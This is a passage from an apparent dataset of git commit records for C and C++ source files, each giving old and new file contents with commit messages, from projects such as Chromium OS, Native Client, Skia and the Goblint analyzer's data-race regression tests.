91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"f4370ff2104c52e41aa4a01935f22aae342e07f7","old_file":"src\/icalc\/icalc\/icalc.h","new_file":"src\/icalc\/icalc\/icalc.h","old_contents":"\ntypedef CI_Config void*;\n\n\n\nCI_Result CI_submit(char const* input);\n","new_contents":"\/*\n * C Interface between calcterm and a calculator.\n * A shared library must implement this interface\n * to be loadable by calcterm.\n *\/\n\nextern \"C\" {\n\nstruct CI_Config {\n    int flag;\n};\n\nstruct CI_Result {\n    char*  one_line;\n    char** grid;\n    int    y;\n};\n\nvoid         CI_init( CI_Config* config );\nCI_Result*   CI_submit( char const* input );\nvoid         CI_result_release( CI_Result* result );\n\n} \/* extern \"C\" *\/\n","subject":"Add a basic interface for calcterm","message":"Add a basic interface for calcterm\n","lang":"C","license":"bsd-2-clause","repos":"dpacbach\/calcterm,dpacbach\/calcterm,dpacbach\/calcterm,dpacbach\/calcterm"}
{"commit":"3e278c99fdb82b839fafd8972402440e952c2cd4","old_file":"zephyr\/projects\/volteer\/include\/i2c_map.h","new_file":"zephyr\/projects\/volteer\/include\/i2c_map.h","old_contents":"\/* Copyright 2020 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __ZEPHYR_CHROME_I2C_MAP_H\n#define __ZEPHYR_CHROME_I2C_MAP_H\n\n#include <devicetree.h>\n\n#include \"config.h\"\n\n\/* We need registers.h to get the chip specific defines for now *\/\n#include \"registers.h\"\n\n#define I2C_PORT_ACCEL          I2C_PORT_SENSOR\n#define I2C_PORT_SENSOR         NPCX_I2C_PORT0_0\n#define I2C_PORT_USB_C0\t\tNPCX_I2C_PORT1_0\n#define I2C_PORT_USB_C1\t\tNPCX_I2C_PORT2_0\n#define I2C_PORT_USB_1_MIX\tNPCX_I2C_PORT3_0\n#define I2C_PORT_POWER\t\tNPCX_I2C_PORT5_0\n#define I2C_PORT_EEPROM\t\tNPCX_I2C_PORT7_0\n\n#define I2C_ADDR_EEPROM_FLAGS\t0x50\n\n#endif \/* __ZEPHYR_CHROME_I2C_MAP_H *\/\n","new_contents":"\/* Copyright 2020 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef __ZEPHYR_CHROME_I2C_MAP_H\n#define __ZEPHYR_CHROME_I2C_MAP_H\n\n#include <devicetree.h>\n\n#include \"config.h\"\n\n\/* We need registers.h to get the chip specific defines for now *\/\n#include \"i2c\/i2c.h\"\n\n#define I2C_PORT_ACCEL          I2C_PORT_SENSOR\n#define I2C_PORT_SENSOR         NAMED_I2C(sensor)\n#define I2C_PORT_USB_C0\t\tNAMED_I2C(usb_c0)\n#define I2C_PORT_USB_C1\t\tNAMED_I2C(usb_c1)\n#define I2C_PORT_USB_1_MIX\tNAMED_I2C(usb1_mix)\n#define I2C_PORT_POWER\t\tNAMED_I2C(power)\n#define I2C_PORT_EEPROM\t\tNAMED_I2C(eeprom)\n\n#define I2C_ADDR_EEPROM_FLAGS\t0x50\n\n#endif \/* __ZEPHYR_CHROME_I2C_MAP_H *\/\n","subject":"Remove dependency on npcx specific registers","message":"volteer: Remove dependency on npcx specific registers\n\nThis change removes the dependency on the npcx specific headers\nwhich are normally included via registers.h. It instead transitions\nto relying on i2c\/i2c.h which defines various enums and the\nNAMED_I2C macro.\n\nBUG=b:175249000\nTEST=zmake testall\n\nCq-Depend: chromium:2582819\nChange-Id: I7d8e98cc4228496b0c7603c0794eb92e0f79c01d\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/zephyr-chrome\/+\/2583272\nTested-by: Jack Rosenthal <d3f605bef1867f59845d4ce6e4f83b8dc9e4e0ae@chromium.org>\nReviewed-by: Jack Rosenthal <d3f605bef1867f59845d4ce6e4f83b8dc9e4e0ae@chromium.org>\nCommit-Queue: Jack Rosenthal <d3f605bef1867f59845d4ce6e4f83b8dc9e4e0ae@chromium.org>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/c\/chromiumos\/platform\/ec\/+\/2630155\nReviewed-by: Simon Glass <c00b0378376498bd9cd974c388df8854c0131d27@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,coreboot\/chrome-ec"}
{"commit":"19504cb1467d31cbb7e429e66222fad5a84050ef","old_file":"os\/arch\/arm\/src\/rda5981\/rda5981x_allocateheap.c","new_file":"os\/arch\/arm\/src\/rda5981\/rda5981x_allocateheap.c","old_contents":"","new_contents":"#include <tinyara\/config.h>\n#include <tinyara\/kmalloc.h>\n\n\/****************************************************************************\n * Name: up_addregion\n *\n * Description:\n *   Memory may be added in non-contiguous chunks.  Additional chunks are\n *   added by calling this function.\n *\n ****************************************************************************\/\n\n#if CONFIG_MM_REGIONS > 1\nvoid up_addregion(void)\n{\n    kumm_addregion((FAR void *)CONFIG_HEAP2_BASE, CONFIG_HEAP2_SIZE);\n\n}\n#endif\n","subject":"Add RDA5981x D_SRAM for heap usage, test program also attached","message":"Add RDA5981x D_SRAM for heap usage, test program also attached\n\nSigned-off-by: Tianfu Huang <51883963465061bbce1ec7188dc31b693276da5b@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt,tizenrt\/tizen_rt"}
{"commit":"30a6736adb3f0e9ff032e296770cf00ae4442ea3","old_file":"tests\/regression\/10-synch\/05-two_unique_two_lock.c","new_file":"tests\/regression\/10-synch\/05-two_unique_two_lock.c","old_contents":"","new_contents":"\/\/ PARAM: --set ana.activated[+] thread\n#include <pthread.h>\n#include <stdio.h>\n\nint myglobal;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *f1(void *arg) {\n  pthread_mutex_lock(&A);\n  myglobal=1; \/\/ RACE! (with just 4)\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&B);\n  myglobal=2; \/\/ RACE! (with just 3)\n  pthread_mutex_unlock(&B);\n  return NULL;\n}\n\nvoid *f2(void *arg) {\n  pthread_mutex_lock(&A);\n  myglobal=3; \/\/ RACE! (with just 2)\n  pthread_mutex_unlock(&A);\n  pthread_mutex_lock(&B);\n  myglobal=4; \/\/ RACE! (with just 1)\n  pthread_mutex_unlock(&B);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t t1, t2;\n  pthread_create(&t1, NULL, f1, NULL);\n  pthread_create(&t2, NULL, f2, NULL);\n  return 0;\n}\n","subject":"Add test where race warnings can be grouped","message":"Add test where race warnings can be grouped\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ba61ebd978b1f3a7646f220ece3bab09c44c55cd","old_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","new_file":"SSPSolution\/SSPSolution\/GameStateHandler.h","old_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n\/\/#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#define SSPAPPLICATION_GAMESTATES_GAMESTATEHANDLER_H\n#include \"GameState.h\"\n#include \"StartState.h\"\n#include \"LevelSelectState.h\"\n#include <vector>\n\n#define START_WITHOUT_MENU\n\nclass GameStateHandler\n{\nprivate:\n\tstd::vector<GameState*> m_stateStack;\n\tstd::vector<GameState*> m_statesToRemove;\npublic:\n\tGameStateHandler();\n\t~GameStateHandler();\n\n\tint ShutDown();\n\n\tint Initialize(ComponentHandler* cHandler, Camera* cameraRef);\n\n\tint Update(float dt, InputHandler* inputHandler);\n\n\t\/\/Push a state to the stack\n\tint PushStateToStack(GameState* state);\nprivate:\n};\n\n#endif","subject":"UPDATE defined start without menu","message":"UPDATE defined start without menu\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"c43332e636fb372919959d58e25554dcb52148ba","old_file":"src\/shared\/platform\/win\/nacl_exit.c","new_file":"src\/shared\/platform\/win\/nacl_exit.c","old_contents":"\/*\n * Copyright 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n#include <stdlib.h>\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_exit.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\nvoid NaClAbort(void) {\n#ifdef COVERAGE\n  \/* Give coverage runs a chance to flush coverage data *\/\n  exit((-SIGABRT) & 0xFF);\n#else\n  \/* Return an 8 bit value for SIGABRT *\/\n  TerminateProcess(GetCurrentProcess(),(-SIGABRT) & 0xFF);\n#endif\n}\n\nvoid NaClExit(int err_code) {\n#ifdef COVERAGE\n  \/* Give coverage runs a chance to flush coverage data *\/\n  exit(err_code);\n#else\n  TerminateProcess(GetCurrentProcess(), err_code);\n#endif\n}\n\n","new_contents":"\/*\n * Copyright 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can\n * be found in the LICENSE file.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"native_client\/src\/include\/portability.h\"\n#include \"native_client\/src\/shared\/platform\/nacl_exit.h\"\n#include \"native_client\/src\/trusted\/service_runtime\/nacl_signal.h\"\n\n\nvoid NaClAbort(void) {\n  NaClExit(-SIGABRT);\n}\n\nvoid NaClExit(int err_code) {\n#ifdef COVERAGE\n  \/* Give coverage runs a chance to flush coverage data *\/\n  exit(err_code);\n#else\n  \/* If the process is scheduled for termination, wait for it.*\/\n  if (TerminateProcess(GetCurrentProcess(), err_code)) {\n    printf(\"Terminate passed, but returned.\\n\");\n    while(1);\n  }\n  printf(\"Terminate failed with %d.\\n\", GetLastError());\n\n  \/* Otherwise use the standard C process exit to bybass destructors. *\/\n  ExitProcess(err_code);\n#endif\n}\n\n","subject":"Fix exit issue on Vista\/Win7Atom","message":"Fix exit issue on Vista\/Win7Atom\n\nTerminateProcess returns causing \"exit\" to fall through.   This is causing the buildbots\nto go red.  To fix this, We must add a check to verify termination was scheduled, then\nloop.  As a seperate CL we should find a way to do this without allowing a return\non an untrusted stack.\n\nBUG= nacl1618\nTEST= buildbot\nReview URL: http:\/\/codereview.chromium.org\/6804029\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@4774 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client"}
{"commit":"e30fef0c0d6097e10595077076df1e2357802c21","old_file":"INPopoverController\/INPopoverControllerDefines.h","new_file":"INPopoverController\/INPopoverControllerDefines.h","old_contents":"\/\/\n\/\/  INPopoverControllerDefines.h\n\/\/  Copyright 2011-2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSUInteger, INPopoverArrowDirection) {\n\tINPopoverArrowDirectionUndefined = 0,\n\tINPopoverArrowDirectionLeft = NSMaxXEdge,\n\tINPopoverArrowDirectionRight = NSMinXEdge,\n\tINPopoverArrowDirectionUp = NSMaxYEdge,\n\tINPopoverArrowDirectionDown = NSMinYEdge\n};\n\ntypedef NS_ENUM(NSInteger, INPopoverAnimationType) {\n\tINPopoverAnimationTypePop = 0,\t\/\/ Pop animation similar to NSPopover\n\tINPopoverAnimationTypeFadeIn,\t\/\/ Fade in only, no fade out\n\tINPopoverAnimationTypeFadeOut,\t\/\/ Fade out only, no fade in\n\tINPopoverAnimationTypeFadeInOut \/\/ Fade in and out\n};","new_contents":"\/\/\n\/\/  INPopoverControllerDefines.h\n\/\/  Copyright 2011-2014 Indragie Karunaratne. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSUInteger, INPopoverArrowDirection) {\n\tINPopoverArrowDirectionUndefined = 0,\n\tINPopoverArrowDirectionLeft,\n\tINPopoverArrowDirectionRight,\n\tINPopoverArrowDirectionUp,\n\tINPopoverArrowDirectionDown\n};\n\ntypedef NS_ENUM(NSInteger, INPopoverAnimationType) {\n\tINPopoverAnimationTypePop = 0,\t\/\/ Pop animation similar to NSPopover\n\tINPopoverAnimationTypeFadeIn,\t\/\/ Fade in only, no fade out\n\tINPopoverAnimationTypeFadeOut,\t\/\/ Fade out only, no fade in\n\tINPopoverAnimationTypeFadeInOut \/\/ Fade in and out\n};","subject":"Remove references to NS...Edge in enum","message":"Remove references to NS...Edge in enum\n","lang":"C","license":"bsd-2-clause","repos":"dbrisinda\/INPopoverController,RobotsAndPencils\/INPopoverController,bradjasper\/INPopoverController"}
{"commit":"e6750f301c2a173eedd6d7222034168ce3490a60","old_file":"Straw\/STWServiceCall.h","new_file":"Straw\/STWServiceCall.h","old_contents":"#import <Foundation\/Foundation.h>\n\n\n\/**\n STWServiceCall is the domain model class which represents the Straw Service Call from Browser.\n *\/\n@interface STWServiceCall : NSObject\n\n\n\/** Service name to call *\/\n@property (nonatomic, retain) NSString *service;\n\n\n\/** Service Method name to call *\/\n@property (nonatomic, retain) NSString *method;\n\n\n\/** Service Method paramter to call *\/\n@property (nonatomic, retain) NSDictionary *params;\n\n\n\/** id of the Service Method call *\/\n@property (nonatomic, retain) NSNumber *callId;\n\n\n\/**\n Return the selector's name.\n\n @return the selector's name\n *\/\n- (NSString *)selectorName;\n\n\n\/**\n Return the selector corresponding to the method.\n\n @return the selector corresponding to the method\n *\/\n- (SEL)selector;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n\n\/**\n STWServiceCall is the domain model class which represents the Straw Service Call from Browser.\n *\/\n@interface STWServiceCall : NSObject\n\n\n\/** Service name to call *\/\n@property (nonatomic, retain) NSString *service;\n\n\n\/** Service Method name to call *\/\n@property (nonatomic, retain) NSString *method;\n\n\n\/** Service Method paramter to call *\/\n@property (nonatomic, retain) NSDictionary *params;\n\n\n\/** id of the Service Method call *\/\n@property (nonatomic, retain) NSString *callId;\n\n\n\/**\n Return the selector's name.\n\n @return the selector's name\n *\/\n- (NSString *)selectorName;\n\n\n\/**\n Return the selector corresponding to the method.\n\n @return the selector corresponding to the method\n *\/\n- (SEL)selector;\n\n@end\n","subject":"Change the type of callId property","message":"Change the type of callId property\n","lang":"C","license":"mit","repos":"strawjs\/straw-ios"}
{"commit":"a94670bd08cd52a19bf72223d63e2cc808b6b057","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 75\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 76\n#endif\n","subject":"Update Skia milestone to 76","message":"Update Skia milestone to 76\n\nChange-Id: I146f97bd27d17bffd51fc572ecee84552b238e20\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/209160\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia"}
{"commit":"92ba6f31ba91bf1050ea11ba219d4f3dc1fce031","old_file":"Pod\/Classes\/BFTaskCenter.h","new_file":"Pod\/Classes\/BFTaskCenter.h","old_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"Bolts.h\"\n\n@interface BFTaskCenter : NSObject\n\n+ (nonnull instancetype)defaultCenter;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFContinuationBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nonnull BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                         executor:(nonnull BFExecutor *)executor\n                                                cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n","new_contents":"\/\/\n\/\/  BFTaskCenter.h\n\/\/  Pods\n\/\/\n\/\/  Created by Superbil on 2015\/8\/22.\n\/\/\n\/\/\n\n#import \"Bolts.h\"\n\n@interface BFTaskCenter : NSObject\n\n+ (nonnull instancetype)defaultCenter;\n\n- (nullable id)addTaskBlockToCallbacks:(nonnull BFContinuationBlock)taskBlock forKey:(nonnull NSString *)key;\n- (void)removeTaskBlock:(nonnull id)taskBlock forKey:(nonnull NSString *)key;\n- (void)clearAllCallbacksForKey:(nonnull NSString *)key;\n\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key result:(nullable id)result;\n- (void)sendToCallbacksWithKey:(nonnull NSString *)key error:(nonnull NSError *)error;\n\n- (nullable BFTaskCompletionSource *)sourceOfSendToCallbacksForKey:(nonnull NSString *)key\n                                                          executor:(nonnull BFExecutor *)executor\n                                                 cancellationToken:(nullable BFCancellationToken *)cancellationToken;\n\n@end\n","subject":"Fix wrong header for sourceOfSendToCallbacksForKey","message":"Fix wrong header for sourceOfSendToCallbacksForKey\n","lang":"C","license":"mit","repos":"Superbil\/BFTaskCenter,Superbil\/BFTaskCenter"}
{"commit":"48658eef3458ee99291bf3c89be06004bf487b13","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction&& begin();\n\n\t\/\/ Modifying methods\n\tbool post(TaskId, SerializedTask&);\n\tbool put(TaskId, SerializedTask&);\n\tbool erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\t\/\/ Modifying methods\n\tbool post(TaskId, SerializedTask&);\n\tbool put(TaskId, SerializedTask&);\n\tbool erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Fix lint error, whitespace around &&","message":"Fix lint error, whitespace around &&\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"ab745f07fa1102090b79a330b94e2bea4c1820e2","old_file":"lib\/types.h","new_file":"lib\/types.h","old_contents":"#pragma once\n\n#include <boost\/variant.hpp>\n#include <atomic>\n#include <vector>\n\nnamespace grml\n{\n    enum class BasicType\n    {\n        INT,\n        BOOL,\n        REAL\n    };\n\n    struct TypeVariable\n    {\n        int64_t id;\n\n        TypeVariable() : id(counter++) {}\n        TypeVariable(int64_t i) : id(i) {}\n\n        friend bool operator==(const TypeVariable& lhs, const TypeVariable& rhs)\n        {\n            return lhs.id == rhs.id;\n        }\n    private:\n        static std::atomic_int64_t counter;\n    };\n\n    struct FunctionType;\n\n    using Type = boost::variant<\n        BasicType,\n        TypeVariable,\n        boost::recursive_wrapper<FunctionType>\n    >;\n\n    struct FunctionType\n    {\n        using Parameters = std::vector<Type>;\n\n        Type result;\n        Parameters parameters;\n\n        FunctionType(Type r, Parameters ps) : result(std::move(r)), parameters(std::move(ps)) {}\n\n        friend bool operator==(const FunctionType& lhs, const FunctionType& rhs)\n        {\n            return lhs.result == rhs.result && lhs.parameters == rhs.parameters;\n        }\n    };\n}\n","new_contents":"#pragma once\n\n#include <boost\/variant.hpp>\n#include <atomic>\n#include <vector>\n#include <unordered_map>\n\nnamespace grml\n{\n    enum class BasicType\n    {\n        INT,\n        BOOL,\n        REAL\n    };\n\n    struct TypeVariable\n    {\n        int64_t id;\n\n        TypeVariable() : id(counter++) {}\n        TypeVariable(int64_t i) : id(i) {}\n\n        friend bool operator==(const TypeVariable& lhs, const TypeVariable& rhs)\n        {\n            return lhs.id == rhs.id;\n        }\n    private:\n        static std::atomic_int64_t counter;\n    };\n\n    struct FunctionType;\n\n    using Type = boost::variant<\n        BasicType,\n        TypeVariable,\n        boost::recursive_wrapper<FunctionType>\n    >;\n\n    struct FunctionType\n    {\n        using Parameters = std::vector<Type>;\n\n        Type result;\n        Parameters parameters;\n\n        FunctionType(Type r, Parameters ps) : result(std::move(r)), parameters(std::move(ps)) {}\n\n        friend bool operator==(const FunctionType& lhs, const FunctionType& rhs)\n        {\n            return lhs.result == rhs.result && lhs.parameters == rhs.parameters;\n        }\n    };\n\n    struct TypeVariableHasher\n    {\n        std::size_t operator()(const TypeVariable& tv) const\n        {\n            return tv.id;\n        }\n    };\n\n    using Substitution = std::unordered_map<TypeVariable, Type, TypeVariableHasher>;\n\n    Substitution unify(const Type& lhs, const Type& rhs);\n    Substitution combine(const Substitution& lhs, const Substitution& rhs);\n    Type substitute(const Type& type, const Substitution& substitution);\n}\n","subject":"Add unify combine substitute stubs","message":"Add unify combine substitute stubs\n\n","lang":"C","license":"unlicense","repos":"v0lat1le\/grml"}
{"commit":"a91ac9638745816d19c7ea12ea90cdb8c8dbebe3","old_file":"src\/cmdline.h","new_file":"src\/cmdline.h","old_contents":"","new_contents":"#ifndef CMDLINE_H\n#define CMDLINE_H\n\ntypedef struct cmdOptions{\n  int populationSize;\n  int geneSize;\n}cmdoptions_t;\n\nclass CMDLINE\n{\n  int argc;\n  char *argv[];\npublic:\n  CMDLINE (int, char**);    \/\/ Constructor\n  int parseCommandLine(cmdoptions_t *CMDoptions);\n\nprivate:\n  \/\/ Function like help and version\n  int help();\n  int version();\n};\n\n#endif\n","subject":"Add the class 'CMDLINE'. So the user is able to change default setting.","message":"Add the class 'CMDLINE'. So the user is able to change default setting.\n","lang":"C","license":"mit","repos":"wkohlenberg\/simple_GA"}
{"commit":"7508c0b8948668b45c38cfc3dd4e2a9c4709dd3e","old_file":"kernel\/core\/test.c","new_file":"kernel\/core\/test.c","old_contents":"#include <arch\/x64\/port.h>\n#include <truth\/panic.h>\n\n#define TEST_RESULT_PORT_NUMBER 0xf4\n\nvoid test_shutdown_status(enum status status) {\n    logf(Log_Debug, \"Test shutting down with status %s (%d)\\n\", status_message(status), status);\n    write_port(status, TEST_RESULT_PORT_NUMBER);\n    halt();\n    assert(Not_Reached);\n}\n","new_contents":"#include <arch\/x64\/port.h>\n#include <truth\/panic.h>\n\n#define Test_Result_Port_Number 0xf4\n\nvoid test_shutdown_status(enum status status) {\n    logf(Log_Debug, \"Test shutting down with status %s (%d)\\n\", status_message(status), status);\n    write_port(status, Test_Result_Port_Number);\n}\n","subject":"Exit with a code in debug builds","message":"Exit with a code in debug builds\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"1581fbd86b5beb465b07d575fc74e61073ec8893","old_file":"hab\/td-p210\/td-radio-read.c","new_file":"hab\/td-p210\/td-radio-read.c","old_contents":"\n#include <errno.h>\n#include <signal.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdbool.h>\n\n#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\n#include <glib.h>\n\n#include \"td-radio.h\"\n#include \"td-radio-scan.h\"\n\n\n\/*\n * Send the RESPONDER message to the radio.\n *\/\nint radio_read(int fd, char* buffer) \n{\n\tbool debug = true;\n\tint bytes = 0;\n\n\tmemset(buffer, '\\0', BUFFER_SZ);\n\n\tif (debug) {\n\t\tg_message(\"radio_read(): enter\");\n\t\tg_message(\"\\ts_addr = %d\", radio_address.sin_addr.s_addr);\n\t\tg_message(\"\\tsin_port = %d\", radio_address.sin_port);\n\t}\n\n\tsocklen_t socklen = sizeof(radio_address);\n\n\tbytes = recvfrom(fd, buffer, BUFFER_SZ, 0,\n\t\t(struct sockaddr *) &radio_address, &socklen);\n\t\n\tif (debug) {\n\t\tg_message(\"bytes = %d\", bytes);\n\t}\n\n\n\tif (bytes < 0) {\n\t\tg_warning(\"\\tradio_read(): recvfrom failed, %s\", strerror(errno));\n\t\tg_message(\"\\tradio_read(): exit\");\n\t}\n\n\tif (debug) {\n\t\tg_message(\"radio_read(): exit\");\n\t}\n\n\treturn bytes;\n}\n\n","new_contents":"\n#include <errno.h>\n#include <signal.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdbool.h>\n\n#include <arpa\/inet.h>\n#include <netinet\/in.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\n#include <glib.h>\n\n#include \"td-radio.h\"\n#include \"td-radio-scan.h\"\n\n\n\/*\n * Send the RESPONDER message to the radio.\n *\/\nint radio_read(int fd, char* buffer) \n{\n\tbool debug = false;\n\tint bytes = 0;\n\n\tmemset(buffer, '\\0', BUFFER_SZ);\n\n\tsocklen_t socklen = sizeof(radio_address);\n\n\tbytes = recvfrom(fd, buffer, BUFFER_SZ, 0, 0, 0);\n\t\n\tif (bytes < 0) {\n\t\tg_warning(\"\\tradio_read(): recvfrom failed, %s\", strerror(errno));\n\t\tg_error(\"\\tradio_read(): exiting...\");\n\t}\n\n\treturn bytes;\n}\n\n","subject":"Clean up some debugging cruft.","message":"Clean up some debugging cruft.\n","lang":"C","license":"lgpl-2.1","repos":"ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead,ldm5180\/hammerhead"}
